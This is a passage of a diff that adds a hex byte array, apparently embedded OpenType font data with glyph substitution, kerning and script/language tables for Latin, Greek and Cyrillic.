0x3C, 0x00, 0x3D, + 0x00, 0x3E, 0x00, 0x3F, 0x00, 0x40, 0x00, 0x41, + 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, + 0x00, 0x46, 0x00, 0x47, 0x00, 0x48, 0x00, 0x49, + 0x00, 0x4A, 0x00, 0x4B, 0x00, 0xB1, 0x00, 0xB2, + 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, + 0x00, 0xB7, 0x00, 0xB8, 0x00, 0xB9, 0x00, 0xBA, + 0x00, 0xBB, 0x00, 0xBC, 0x00, 0xBD, 0x00, 0xBE, + 0x00, 0xBF, 0x00, 0xC0, 0x00, 0xC1, 0x00, 0xC2, + 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, 0x00, 0xC6, + 0x00, 0xC7, 0x00, 0xC9, 0x00, 0xCA, 0x00, 0xCB, + 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, 0x00, 0xCF, + 0x00, 0xF1, 0x00, 0xF3, 0x00, 0xF5, 0x00, 0xF7, + 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, 0x00, 0xFF, + 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, 0x01, 0x07, + 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, 0x01, 0x0F, + 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, 0x01, 0x17, + 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, 0x01, 0x1F, + 0x01, 0x21, 0x01, 0x23, 0x01, 0x25, 0x01, 0x27, + 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x30, + 0x01, 0x32, 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, + 0x01, 0x3B, 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, + 0x01, 0x43, 0x01, 0x45, 0x01, 0x47, 0x01, 0x49, + 0x01, 0x4B, 0x01, 0x4D, 0x01, 0x4F, 0x01, 0x51, + 0x01, 0x53, 0x01, 0x55, 0x01, 0x57, 0x01, 0x59, + 0x01, 0x5B, 0x01, 0x5D, 0x01, 0x5F, 0x01, 0x61, + 0x01, 0x63, 0x01, 0x65, 0x01, 0x67, 0x01, 0x69, + 0x01, 0x6A, 0x01, 0x6C, 0x01, 0x6E, 0x01, 0x91, + 0x01, 0xA0, 0x82, 0xE4, 0x82, 0xE8, 0x82, 0xEE, + 0x00, 0x02, 0x00, 0x28, 0x00, 0x11, 0x96, 0x28, + 0x96, 0x2B, 0x96, 0x1A, 0x96, 0x1B, 0x96, 0x1C, + 0x96, 0x1D, 0x96, 0x1E, 0x96, 0x1F, 0x96, 0x20, + 0x96, 0x21, 0x96, 0x22, 0x96, 0x23, 0x96, 0x24, + 0x96, 0x2C, 0x96, 0x29, 0x96, 0x2A, 0x96, 0x27, + 0x00, 0x02, 0x00, 0x05, 0x00, 0x14, 0x00, 0x16, + 0x00, 0x00, 0x00, 0x21, 0x00, 0x2A, 0x00, 0x03, + 0x00, 0x93, 0x00, 0x94, 0x00, 0x0D, 0x00, 0x96, + 0x00, 0x96, 0x00, 0x0F, 0x01, 0x83, 0x01, 0x83, + 0x00, 0x10, 0x00, 0x01, 0x00, 0x06, 0x96, 0xE7, + 0x00, 0x01, 0x00, 0x05, 0x00, 0x12, 0x00, 0x17, + 0x00, 0x30, 0x00, 0x92, 0x00, 0xB0, 0x00, 0x02, + 0x01, 0x00, 0x00, 0x7D, 0x97, 0x39, 0x97, 0x3A, + 0x97, 0x3B, 0x97, 0x3C, 0x97, 0x3D, 0x97, 0x3E, + 0x97, 0x3F, 0x97, 0x40, 0x97, 0x41, 0x97, 0x42, + 0x97, 0x43, 0x97, 0x44, 0x97, 0x45, 0x97, 0x46, + 0x97, 0x47, 0x97, 0x48, 0x97, 0x49, 0x97, 0x4A, + 0x97, 0x4B, 0x97, 0x4C, 0x97, 0x4D, 0x97, 0x4E, + 0x97, 0x4F, 0x97, 0x50, 0x97, 0x51, 0x97, 0x52, + 0x80, 0xF6, 0x97, 0xB8, 0x97, 0xB9, 0x97, 0xBA, + 0x97, 0xBB, 0x97, 0xBC, 0x97, 0xBD, 0x97, 0xBE, + 0x97, 0xBF, 0x97, 0xC0, 0x97, 0xC1, 0x97, 0xC2, + 0x97, 0xC3, 0x97, 0xC4, 0x97, 0xC5, 0x97, 0xC6, + 0x97, 0xC7, 0x97, 0xC8, 0x97, 0xC9, 0x97, 0xCA, + 0x97, 0xCB, 0x97, 0xCC, 0x97, 0xCD, 0x97, 0xCE, + 0x97, 0xD0, 0x97, 0xD1, 0x97, 0xD2, 0x97, 0xD3, + 0x97, 0xD4, 0x97, 0xD5, 0x97, 0xD6, 0x97, 0xD7, + 0x96, 0x46, 0x96, 0x45, 0x96, 0x47, 0x96, 0x49, + 0x96, 0x4B, 0x96, 0x4C, 0x96, 0x4A, 0x96, 0x4D, + 0x96, 0x4E, 0x96, 0x52, 0x96, 0x4F, 0x96, 0x51, + 0x96, 0x54, 0x96, 0x50, 0x96, 0x56, 0x96, 0x55, + 0x96, 0x58, 0x96, 0x57, 0x96, 0x5A, 0x96, 0x59, + 0x96, 0x5F, 0x96, 0x5D, 0x96, 0x5B, 0x96, 0x5E, + 0x80, 0xE0, 0x96, 0x5C, 0x96, 0x60, 0x96, 0x61, + 0x96, 0x62, 0x96, 0x64, 0x96, 0x63, 0x96, 0x65, + 0x96, 0xD1, 0x96, 0x66, 0x96, 0x68, 0x96, 0x67, + 0x96, 0x53, 0x96, 0x6B, 0x96, 0x69, 0x96, 0x6A, + 0x96, 0xD2, 0x96, 0x6D, 0x96, 0x6F, 0x96, 0x6E, + 0x96, 0x70, 0x96, 0x72, 0x96, 0x71, 0x96, 0xD5, + 0x96, 0x76, 0x96, 0x75, 0x96, 0x74, 0x96, 0x7C, + 0x96, 0x79, 0x96, 0x77, 0x96, 0x7B, 0x96, 0x78, + 0x96, 0x7A, 0x96, 0x7E, 0x96, 0x81, 0x96, 0x83, + 0x96, 0x84, 0x96, 0xD7, 0x81, 0xF1, 0x81, 0xF9, + 0x82, 0xE7, 0x82, 0xEB, 0x82, 0xF1, 0x00, 0x01, + 0x00, 0x7D, 0x00, 0x52, 0x00, 0x53, 0x00, 0x54, + 0x00, 0x55, 0x00, 0x56, 0x00, 0x57, 0x00, 0x58, + 0x00, 0x59, 0x00, 0x5A, 0x00, 0x5B, 0x00, 0x5C, + 0x00, 0x5D, 0x00, 0x5E, 0x00, 0x5F, 0x00, 0x60, + 0x00, 0x61, 0x00, 0x62, 0x00, 0x63, 0x00, 0x64, + 0x00, 0x65, 0x00, 0x66, 0x00, 0x67, 0x00, 0x68, + 0x00, 0x69, 0x00, 0x6A, 0x00, 0x6B, 0x00, 0xD0, + 0x00, 0xD1, 0x00, 0xD2, 0x00, 0xD3, 0x00, 0xD4, + 0x00, 0xD5, 0x00, 0xD6, 0x00, 0xD7, 0x00, 0xD8, + 0x00, 0xD9, 0x00, 0xDA, 0x00, 0xDB, 0x00, 0xDC, + 0x00, 0xDD, 0x00, 0xDE, 0x00, 0xDF, 0x00, 0xE0, + 0x00, 0xE1, 0x00, 0xE2, 0x00, 0xE3, 0x00, 0xE4, + 0x00, 0xE5, 0x00, 0xE6, 0x00, 0xE7, 0x00, 0xE9, + 0x00, 0xEA, 0x00, 0xEB, 0x00, 0xEC, 0x00, 0xED, + 0x00, 0xEE, 0x00, 0xEF, 0x00, 0xF0, 0x00, 0xF2, + 0x00, 0xF4, 0x00, 0xF6, 0x00, 0xF8, 0x00, 0xFA, + 0x00, 0xFC, 0x00, 0xFE, 0x01, 0x00, 0x01, 0x02, + 0x01, 0x04, 0x01, 0x06, 0x01, 0x08, 0x01, 0x0A, + 0x01, 0x0C, 0x01, 0x0E, 0x01, 0x10, 0x01, 0x12, + 0x01, 0x14, 0x01, 0x16, 0x01, 0x18, 0x01, 0x1A, + 0x01, 0x1C, 0x01, 0x1E, 0x01, 0x20, 0x01, 0x22, + 0x01, 0x24, 0x01, 0x26, 0x01, 0x28, 0x01, 0x2B, + 0x01, 0x2D, 0x01, 0x2F, 0x01, 0x31, 0x01, 0x33, + 0x01, 0x35, 0x01, 0x37, 0x01, 0x39, 0x01, 0x3C, + 0x01, 0x3E, 0x01, 0x40, 0x01, 0x42, 0x01, 0x44, + 0x01, 0x46, 0x01, 0x48, 0x01, 0x4A, 0x01, 0x4C, + 0x01, 0x4E, 0x01, 0x50, 0x01, 0x52, 0x01, 0x54, + 0x01, 0x56, 0x01, 0x58, 0x01, 0x5A, 0x01, 0x5C, + 0x01, 0x5E, 0x01, 0x60, 0x01, 0x62, 0x01, 0x64, + 0x01, 0x66, 0x01, 0x68, 0x01, 0x6B, 0x01, 0x6D, + 0x01, 0x6F, 0x01, 0x92, 0x01, 0xA1, 0x82, 0xE6, + 0x82, 0xEA, 0x82, 0xF0, 0x00, 0x02, 0x00, 0x28, + 0x00, 0x11, 0x97, 0x38, 0x97, 0x80, 0x97, 0x87, + 0x97, 0x8C, 0x97, 0x90, 0x82, 0x46, 0x82, 0x47, + 0x82, 0x48, 0x82, 0x49, 0x82, 0x4A, 0x82, 0x4B, + 0x82, 0x4C, 0x82, 0x4D, 0x82, 0x4E, 0x82, 0x4F, + 0x82, 0x50, 0x96, 0x0D, 0x00, 0x01, 0x00, 0x11, + 0x00, 0x51, 0x00, 0x99, 0x00, 0xA0, 0x00, 0xA5, + 0x00, 0xA9, 0x82, 0x31, 0x82, 0x32, 0x82, 0x33, + 0x82, 0x34, 0x82, 0x35, 0x82, 0x36, 0x82, 0x37, + 0x82, 0x38, 0x82, 0x39, 0x82, 0x3A, 0x82, 0x3B, + 0x96, 0x9B, 0x00, 0x02, 0x00, 0x28, 0x00, 0x11, + 0x00, 0x16, 0x00, 0x21, 0x00, 0x22, 0x00, 0x23, + 0x00, 0x24, 0x00, 0x25, 0x00, 0x26, 0x00, 0x27, + 0x00, 0x28, 0x00, 0x29, 0x00, 0x2A, 0x01, 0x83, + 0x00, 0x14, 0x00, 0x94, 0x00, 0x96, 0x00, 0x15, + 0x00, 0x93, 0x00, 0x02, 0x00, 0x02, 0x96, 0x1A, + 0x96, 0x24, 0x00, 0x00, 0x96, 0x27, 0x96, 0x2C, + 0x00, 0x0B, 0x00, 0x02, 0x00, 0x4E, 0x00, 0x24, + 0x81, 0x05, 0x80, 0xDF, 0x96, 0x11, 0x96, 0xB4, + 0x96, 0x12, 0x96, 0x13, 0x96, 0x14, 0x96, 0x15, + 0x96, 0x16, 0x96, 0x17, 0x96, 0x18, 0x96, 0x19, + 0x80, 0xDB, 0x81, 0x2E, 0x81, 0x54, 0x80, 0xF0, + 0x80, 0xF3, 0x80, 0xF9, 0x97, 0x08, 0x97, 0x09, + 0x97, 0x0A, 0x97, 0x0B, 0x97, 0x0C, 0x97, 0x0D, + 0x97, 0x0E, 0x97, 0x0F, 0x97, 0x10, 0x97, 0x11, + 0x80, 0xDD, 0x80, 0x1B, 0x80, 0xF1, 0x81, 0x06, + 0x81, 0x2F, 0x81, 0x55, 0x96, 0xFC, 0x97, 0x7A, + 0x00, 0x02, 0x00, 0x08, 0x00, 0x14, 0x00, 0x15, + 0x00, 0x00, 0x00, 0x21, 0x00, 0x2A, 0x00, 0x02, + 0x00, 0x93, 0x00, 0x94, 0x00, 0x0C, 0x00, 0x96, + 0x00, 0x96, 0x00, 0x0E, 0x01, 0x83, 0x01, 0x83, + 0x00, 0x0F, 0x80, 0xF4, 0x80, 0xF4, 0x00, 0x10, + 0x80, 0xFA, 0x80, 0xFA, 0x00, 0x11, 0x96, 0x1B, + 0x96, 0x2C, 0x00, 0x12, 0x00, 0x02, 0x00, 0x4E, + 0x00, 0x24, 0x96, 0x26, 0x00, 0x93, 0x96, 0x25, + 0x00, 0x15, 0x01, 0x83, 0x96, 0x27, 0x80, 0xF4, + 0x80, 0xFA, 0x00, 0x14, 0x96, 0x28, 0x00, 0x94, + 0x96, 0x29, 0x00, 0x96, 0x96, 0x2A, 0x00, 0x21, + 0x00, 0x23, 0x00, 0x24, 0x00, 0x25, 0x00, 0x26, + 0x00, 0x27, 0x00, 0x28, 0x00, 0x29, 0x00, 0x2A, + 0x00, 0x22, 0x96, 0x2B, 0x96, 0x1B, 0x96, 0x1C, + 0x96, 0x1D, 0x96, 0x1E, 0x96, 0x1F, 0x96, 0x20, + 0x96, 0x21, 0x96, 0x22, 0x96, 0x23, 0x96, 0x24, + 0x96, 0x2C, 0x00, 0x01, 0x00, 0x24, 0x80, 0x1B, + 0x80, 0xDB, 0x80, 0xDD, 0x80, 0xDF, 0x80, 0xF0, + 0x80, 0xF1, 0x80, 0xF3, 0x80, 0xF9, 0x81, 0x05, + 0x81, 0x06, 0x81, 0x2E, 0x81, 0x2F, 0x81, 0x54, + 0x81, 0x55, 0x96, 0x11, 0x96, 0x12, 0x96, 0x13, + 0x96, 0x14, 0x96, 0x15, 0x96, 0x16, 0x96, 0x17, + 0x96, 0x18, 0x96, 0x19, 0x96, 0xB4, 0x96, 0xFC, + 0x97, 0x08, 0x97, 0x09, 0x97, 0x0A, 0x97, 0x0B, + 0x97, 0x0C, 0x97, 0x0D, 0x97, 0x0E, 0x97, 0x0F, + 0x97, 0x10, 0x97, 0x11, 0x97, 0x7A, 0x00, 0x02, + 0x00, 0x0C, 0x00, 0x03, 0x80, 0x48, 0x80, 0x7F, + 0x80, 0xF7, 0x00, 0x01, 0x00, 0x03, 0x00, 0x3C, + 0x00, 0x43, 0x00, 0x5C, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x0E, 0x00, 0x01, 0x00, 0x1C, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x05, 0x00, 0x52, + 0x00, 0x56, 0x00, 0x5E, 0x00, 0x5F, 0x00, 0x63, + 0x00, 0x02, 0x00, 0x10, 0x00, 0x32, 0x00, 0x4B, + 0x00, 0x00, 0x00, 0x52, 0x00, 0x6B, 0x00, 0x1A, + 0x00, 0xB1, 0x00, 0xC7, 0x00, 0x34, 0x00, 0xC9, + 0x00, 0xE7, 0x00, 0x4B, 0x00, 0xE9, 0x01, 0x28, + 0x00, 0x6A, 0x01, 0x2A, 0x01, 0x39, 0x00, 0xAA, + 0x01, 0x3B, 0x01, 0x6F, 0x00, 0xBA, 0x01, 0x91, + 0x01, 0x92, 0x00, 0xEF, 0x01, 0xA0, 0x01, 0xA1, + 0x00, 0xF1, 0x82, 0xE4, 0x82, 0xE4, 0x00, 0xF3, + 0x82, 0xE6, 0x82, 0xE6, 0x00, 0xF4, 0x82, 0xE8, + 0x82, 0xE8, 0x00, 0xF5, 0x82, 0xEA, 0x82, 0xEA, + 0x00, 0xF6, 0x82, 0xEE, 0x82, 0xEE, 0x00, 0xF7, + 0x82, 0xF0, 0x82, 0xF0, 0x00, 0xF8, 0x9A, 0xD9, + 0x9A, 0xDA, 0x00, 0xF9, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x19, 0x00, 0x01, 0x00, 0x05, + 0x00, 0x52, 0x00, 0x56, 0x00, 0x5E, 0x00, 0x5F, + 0x00, 0x63, 0x00, 0x01, 0x00, 0xF4, 0x00, 0x05, + 0x00, 0x10, 0x00, 0x1A, 0x00, 0x92, 0x00, 0x9C, + 0x00, 0xA6, 0x00, 0x01, 0x00, 0x04, 0x80, 0x93, + 0x00, 0x02, 0x00, 0x59, 0x00, 0x0D, 0x00, 0x1C, + 0x00, 0x24, 0x00, 0x2C, 0x00, 0x34, 0x00, 0x3C, + 0x00, 0x44, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x5A, + 0x00, 0x60, 0x00, 0x66, 0x00, 0x6C, 0x00, 0x72, + 0x9A, 0xDC, 0x00, 0x03, 0x00, 0x57, 0x00, 0x5D, + 0x9A, 0xDB, 0x00, 0x03, 0x00, 0x57, 0x00, 0x5A, + 0x80, 0xE9, 0x00, 0x03, 0x00, 0x57, 0x00, 0x65, + 0x80, 0xE8, 0x00, 0x03, 0x00, 0x57, 0x00, 0x5C, + 0x80, 0xE7, 0x00, 0x03, 0x00, 0x57, 0x00, 0x5B, + 0x80, 0xE6, 0x00, 0x03, 0x00, 0x57, 0x00, 0x59, + 0x80, 0xE5, 0x00, 0x03, 0x00, 0x57, 0x00, 0x53, + 0x9A, 0xD8, 0x00, 0x02, 0x00, 0x57, 0x80, 0xEF, + 0x00, 0x02, 0x00, 0x65, 0x80, 0xED, 0x00, 0x02, + 0x00, 0x5C, 0x80, 0xEC, 0x00, 0x02, 0x00, 0x5B, + 0x80, 0xEA, 0x00, 0x02, 0x00, 0x59, 0x80, 0xE4, + 0x00, 0x02, 0x00, 0x53, 0x00, 0x01, 0x00, 0x04, + 0x80, 0x96, 0x00, 0x02, 0x00, 0x59, 0x00, 0x01, + 0x00, 0x04, 0x80, 0x94, 0x00, 0x02, 0x00, 0x59, + 0x00, 0x09, 0x00, 0x14, 0x00, 0x1C, 0x00, 0x24, + 0x00, 0x2A, 0x00, 0x30, 0x00, 0x36, 0x00, 0x3C, + 0x00, 0x42, 0x00, 0x48, 0x81, 0x02, 0x00, 0x03, + 0x01, 0x70, 0x00, 0x5D, 0x81, 0x01, 0x00, 0x03, + 0x01, 0x70, 0x00, 0x5A, 0x9A, 0xDD, 0x00, 0x02, + 0x00, 0x65, 0x81, 0x00, 0x00, 0x02, 0x01, 0x70, + 0x80, 0xFF, 0x00, 0x02, 0x00, 0x5D, 0x80, 0xFE, + 0x00, 0x02, 0x00, 0x5C, 0x80, 0xFD, 0x00, 0x02, + 0x00, 0x5A, 0x80, 0xFC, 0x00, 0x02, 0x00, 0x59, + 0x80, 0xFB, 0x00, 0x02, 0x00, 0x53, 0x00, 0x01, + 0x00, 0x05, 0x00, 0x45, 0x00, 0x57, 0x01, 0x53, + 0x01, 0x55, 0x01, 0x70, 0x00, 0x01, 0x00, 0x06, + 0x01, 0x0C, 0x00, 0x01, 0x00, 0x01, 0x00, 0x64, + 0x00, 0x01, 0x00, 0x36, 0x00, 0x02, 0x00, 0x0A, + 0x00, 0x24, 0x00, 0x03, 0x00, 0x08, 0x00, 0x0E, + 0x00, 0x14, 0x80, 0xD9, 0x00, 0x02, 0x00, 0x65, + 0x80, 0xD8, 0x00, 0x02, 0x00, 0x5C, 0x80, 0xD7, + 0x00, 0x02, 0x00, 0x59, 0x00, 0x02, 0x00, 0x06, + 0x00, 0x0C, 0x9A, 0xDE, 0x00, 0x02, 0x00, 0x65, + 0x81, 0x2D, 0x00, 0x02, 0x00, 0x61, 0x00, 0x01, + 0x00, 0x02, 0x00, 0x54, 0x00, 0x64, 0x00, 0x02, + 0x00, 0x0A, 0x00, 0x02, 0x96, 0x10, 0x82, 0xDF, + 0x00, 0x01, 0x00, 0x02, 0x00, 0x21, 0x96, 0x11, + 0x00, 0x02, 0x01, 0x20, 0x00, 0x8D, 0x7F, 0xD9, + 0x7F, 0xEF, 0x7F, 0xF1, 0x7F, 0xFD, 0x80, 0x03, + 0x80, 0x1D, 0x80, 0x1F, 0x80, 0x29, 0x80, 0x2F, + 0x80, 0x45, 0x80, 0x4A, 0x80, 0x4E, 0x80, 0x59, + 0x80, 0x5B, 0x80, 0x65, 0x80, 0x7C, 0x80, 0x7E, + 0x80, 0x81, 0x80, 0x8A, 0x80, 0x92, 0x80, 0xA1, + 0x80, 0xB7, 0x80, 0xB9, 0x80, 0xC3, 0x80, 0xC5, + 0x80, 0xCF, 0x80, 0xD6, 0x80, 0xE1, 0x81, 0x03, + 0x81, 0x04, 0x81, 0x2C, 0x7F, 0xE5, 0x7F, 0xDD, + 0x7F, 0xE1, 0x7F, 0xED, 0x7F, 0xE3, 0x7F, 0xEB, + 0x7F, 0xF7, 0x80, 0x11, 0x80, 0x05, 0x80, 0x0B, + 0x80, 0x0D, 0x80, 0x3D, 0x80, 0x33, 0x80, 0x37, + 0x80, 0x39, 0x80, 0x19, 0x80, 0x63, 0x80, 0x70, + 0x80, 0x68, 0x80, 0x6C, 0x80, 0x7A, 0x80, 0x6E, + 0x80, 0x76, 0x80, 0xAB, 0x80, 0xA3, 0x80, 0xA7, + 0x80, 0xA9, 0x80, 0xC7, 0x7F, 0xE7, 0x7F, 0xDF, + 0x7F, 0xE9, 0x7F, 0xF3, 0x7F, 0xF9, 0x7F, 0xFB, + 0x7F, 0xF5, 0x7F, 0xFF, 0x80, 0x01, 0x80, 0x13, + 0x80, 0x07, 0x80, 0x0F, 0x80, 0x17, 0x80, 0x09, + 0x80, 0x23, 0x80, 0x21, 0x80, 0x27, 0x80, 0x25, + 0x80, 0x2D, 0x80, 0x2B, 0x80, 0x43, 0x80, 0x3F, + 0x80, 0x35, 0x80, 0x41, 0x80, 0x3B, 0x80, 0x47, + 0x80, 0x4C, 0x80, 0x50, 0x80, 0x54, 0x80, 0x52, + 0x80, 0x56, 0x80, 0x5D, 0x80, 0x61, 0x80, 0x5F, + 0x80, 0x15, 0x80, 0x74, 0x80, 0x6A, 0x80, 0x72, + 0x80, 0x83, 0x80, 0x87, 0x80, 0x85, 0x80, 0x8C, + 0x80, 0x90, 0x81, 0x31, 0x80, 0x8E, 0x80, 0x9E, + 0x80, 0x9C, 0x80, 0x9A, 0x80, 0xB5, 0x80, 0xAF, + 0x80, 0xA5, 0x80, 0xB3, 0x80, 0xAD, 0x80, 0xB1, + 0x80, 0xBD, 0x80, 0xC9, 0x80, 0xCB, 0x80, 0xD1, + 0x80, 0xD5, 0x80, 0xD3, 0x82, 0x51, 0x82, 0x52, + 0x80, 0x98, 0x80, 0x95, 0x80, 0x97, 0x96, 0x01, + 0x96, 0x02, 0x96, 0x03, 0x96, 0x04, 0x96, 0x05, + 0x96, 0x2D, 0x96, 0x2E, 0x96, 0x2F, 0x96, 0x30, + 0x96, 0x31, 0x96, 0x32, 0x96, 0x33, 0x96, 0x34, + 0x96, 0x35, 0x96, 0x36, 0x96, 0x37, 0x96, 0x38, + 0x00, 0x01, 0x00, 0x8D, 0x00, 0x32, 0x00, 0x33, + 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, + 0x00, 0x38, 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, + 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, + 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, + 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, + 0x00, 0x48, 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, + 0x00, 0x52, 0x00, 0x56, 0x00, 0x5E, 0x00, 0x5F, + 0x00, 0x63, 0x00, 0xB1, 0x00, 0xB2, 0x00, 0xB3, + 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB8, + 0x00, 0xB9, 0x00, 0xBA, 0x00, 0xBB, 0x00, 0xBC, + 0x00, 0xBD, 0x00, 0xBE, 0x00, 0xBF, 0x00, 0xC0, + 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, + 0x00, 0xC5, 0x00, 0xC6, 0x00, 0xC7, 0x00, 0xC9, + 0x00, 0xCA, 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, + 0x00, 0xCE, 0x00, 0xF1, 0x00, 0xF3, 0x00, 0xF5, + 0x00, 0xF7, 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, + 0x00, 0xFF, 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, + 0x01, 0x07, 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, + 0x01, 0x0F, 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, + 0x01, 0x17, 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, + 0x01, 0x1F, 0x01, 0x21, 0x01, 0x25, 0x01, 0x27, + 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x30, + 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, 0x01, 0x3B, + 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, 0x01, 0x45, + 0x01, 0x47, 0x01, 0x49, 0x01, 0x4B, 0x01, 0x4D, + 0x01, 0x4F, 0x01, 0x51, 0x01, 0x53, 0x01, 0x55, + 0x01, 0x57, 0x01, 0x59, 0x01, 0x5B, 0x01, 0x5D, + 0x01, 0x5F, 0x01, 0x61, 0x01, 0x63, 0x01, 0x65, + 0x01, 0x67, 0x01, 0x69, 0x01, 0x6A, 0x01, 0x6C, + 0x01, 0x6E, 0x01, 0x91, 0x01, 0xA0, 0x80, 0x93, + 0x80, 0x94, 0x80, 0x96, 0x96, 0x06, 0x96, 0x07, + 0x96, 0x08, 0x96, 0x09, 0x96, 0x0A, 0x96, 0x39, + 0x96, 0x3A, 0x96, 0x3B, 0x96, 0x3C, 0x96, 0x3D, + 0x96, 0x3E, 0x96, 0x3F, 0x96, 0x40, 0x96, 0x41, + 0x96, 0x42, 0x96, 0x43, 0x96, 0x44, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x8E, + 0x00, 0xBC, 0x00, 0x04, 0x44, 0x46, 0x4C, 0x54, + 0x00, 0x1A, 0x63, 0x79, 0x72, 0x6C, 0x00, 0x2A, + 0x67, 0x72, 0x65, 0x6B, 0x00, 0x40, 0x6C, 0x61, + 0x74, 0x6E, 0x00, 0x50, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x02, 0x00, 0x0A, 0x00, 0x01, + 0x53, 0x52, 0x42, 0x20, 0x00, 0x0A, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x02, 0x00, 0x28, 0x00, 0x06, 0x41, 0x5A, + 0x45, 0x20, 0x00, 0x28, 0x43, 0x52, 0x54, 0x20, + 0x00, 0x28, 0x44, 0x45, 0x55, 0x20, 0x00, 0x28, + 0x4D, 0x4F, 0x4C, 0x20, 0x00, 0x28, 0x52, 0x4F, + 0x4D, 0x20, 0x00, 0x28, 0x54, 0x52, 0x4B, 0x20, + 0x00, 0x28, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, + 0x63, 0x70, 0x73, 0x70, 0x00, 0x14, 0x6B, 0x65, + 0x72, 0x6E, 0x00, 0x1A, 0x73, 0x69, 0x7A, 0x65, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x04, + 0x00, 0x00, 0x00, 0xBE, 0x00, 0x08, 0x01, 0x00, + 0x00, 0x82, 0x00, 0xC7, 0x00, 0x02, 0x00, 0x06, + 0x00, 0x0E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x16, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, + 0x01, 0xEE, 0x09, 0x80, 0x6F, 0xEA, 0x7D, 0x16, + 0x00, 0x01, 0x00, 0x0A, 0x00, 0x05, 0x00, 0x05, + 0x00, 0x0A, 0x00, 0x01, 0x00, 0xE9, 0x00, 0x12, + 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, 0x00, 0x16, + 0x00, 0x17, 0x00, 0x18, 0x00, 0x19, 0x00, 0x1A, + 0x00, 0x1D, 0x00, 0x1E, 0x00, 0x1F, 0x00, 0x20, + 0x00, 0x21, 0x00, 0x22, 0x00, 0x23, 0x00, 0x24, + 0x00, 0x25, 0x00, 0x26, 0x00, 0x27, 0x00, 0x28, + 0x00, 0x29, 0x00, 0x2A, 0x00, 0x2B, 0x00, 0x2C, + 0x00, 0x30, 0x00, 0x31, 0x00, 0x32, 0x00, 0x33, + 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, + 0x00, 0x38, 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, + 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, + 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, + 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, + 0x00, 0x48, 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, + 0x00, 0x4C, 0x00, 0x4D, 0x00, 0x4E, 0x00, 0x50, + 0x00, 0x6C, 0x00, 0x6D, 0x00, 0x6E, 0x00, 0x92, + 0x00, 0x93, 0x00, 0x94, 0x00, 0x96, 0x00, 0x97, + 0x00, 0x9A, 0x00, 0x9C, 0x00, 0x9F, 0x00, 0xA7, + 0x00, 0xAC, 0x00, 0xB0, 0x00, 0xB1, 0x00, 0xB2, + 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, + 0x00, 0xB7, 0x00, 0xB8, 0x00, 0xB9, 0x00, 0xBA, + 0x00, 0xBB, 0x00, 0xBC, 0x00, 0xBD, 0x00, 0xBE, + 0x00, 0xBF, 0x00, 0xC0, 0x00, 0xC1, 0x00, 0xC2, + 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, 0x00, 0xC6, + 0x00, 0xC7, 0x00, 0xC9, 0x00, 0xCA, 0x00, 0xCB, + 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, 0x00, 0xCF, + 0x00, 0xF1, 0x00, 0xF3, 